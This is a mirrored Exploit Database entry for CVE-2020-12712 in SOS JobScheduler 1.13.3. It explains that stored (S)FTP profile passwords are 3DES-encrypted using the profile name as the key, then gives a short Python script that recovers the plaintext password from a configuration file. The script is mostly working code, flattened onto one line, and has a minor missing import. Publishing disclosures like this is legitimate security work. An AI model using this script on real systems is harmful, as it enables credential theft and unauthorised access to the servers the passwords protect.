SOS JobScheduler 1.13.3 – Stored Password Decryption

• Exploit Database
• 131 阅读

• 作者： Sander Ubink
  日期： 2020-06-15
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48587/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  # Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption # Google Dork: N/A # Date: 2020-04-20 # Exploit Author: Sander Ubink # Vendor Homepage: www.sos-berlin.com # Software Link: www.sos-berlin.com/en/jobscheduler-downloads # Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13 # Tested on: Windows and Linux # CVE: CVE-2020-12712   # Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface. # The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections, # in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile, # it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file, # the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key # length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before # being stored in the configuration file.   # Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]   import pyDes import base64 import argparse   parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file") parser.add_argument("password", help="password to be decrypted") parser.add_argument("profilename", help="name of the profile") args = parser.parse_args()   if len(args.profilename) > 24: sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")   key = args.profilename + ((24 - len(args.profilename)) * " ") cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None) plain = cipher.decrypt(base64.b64decode(args.password))   print(plain)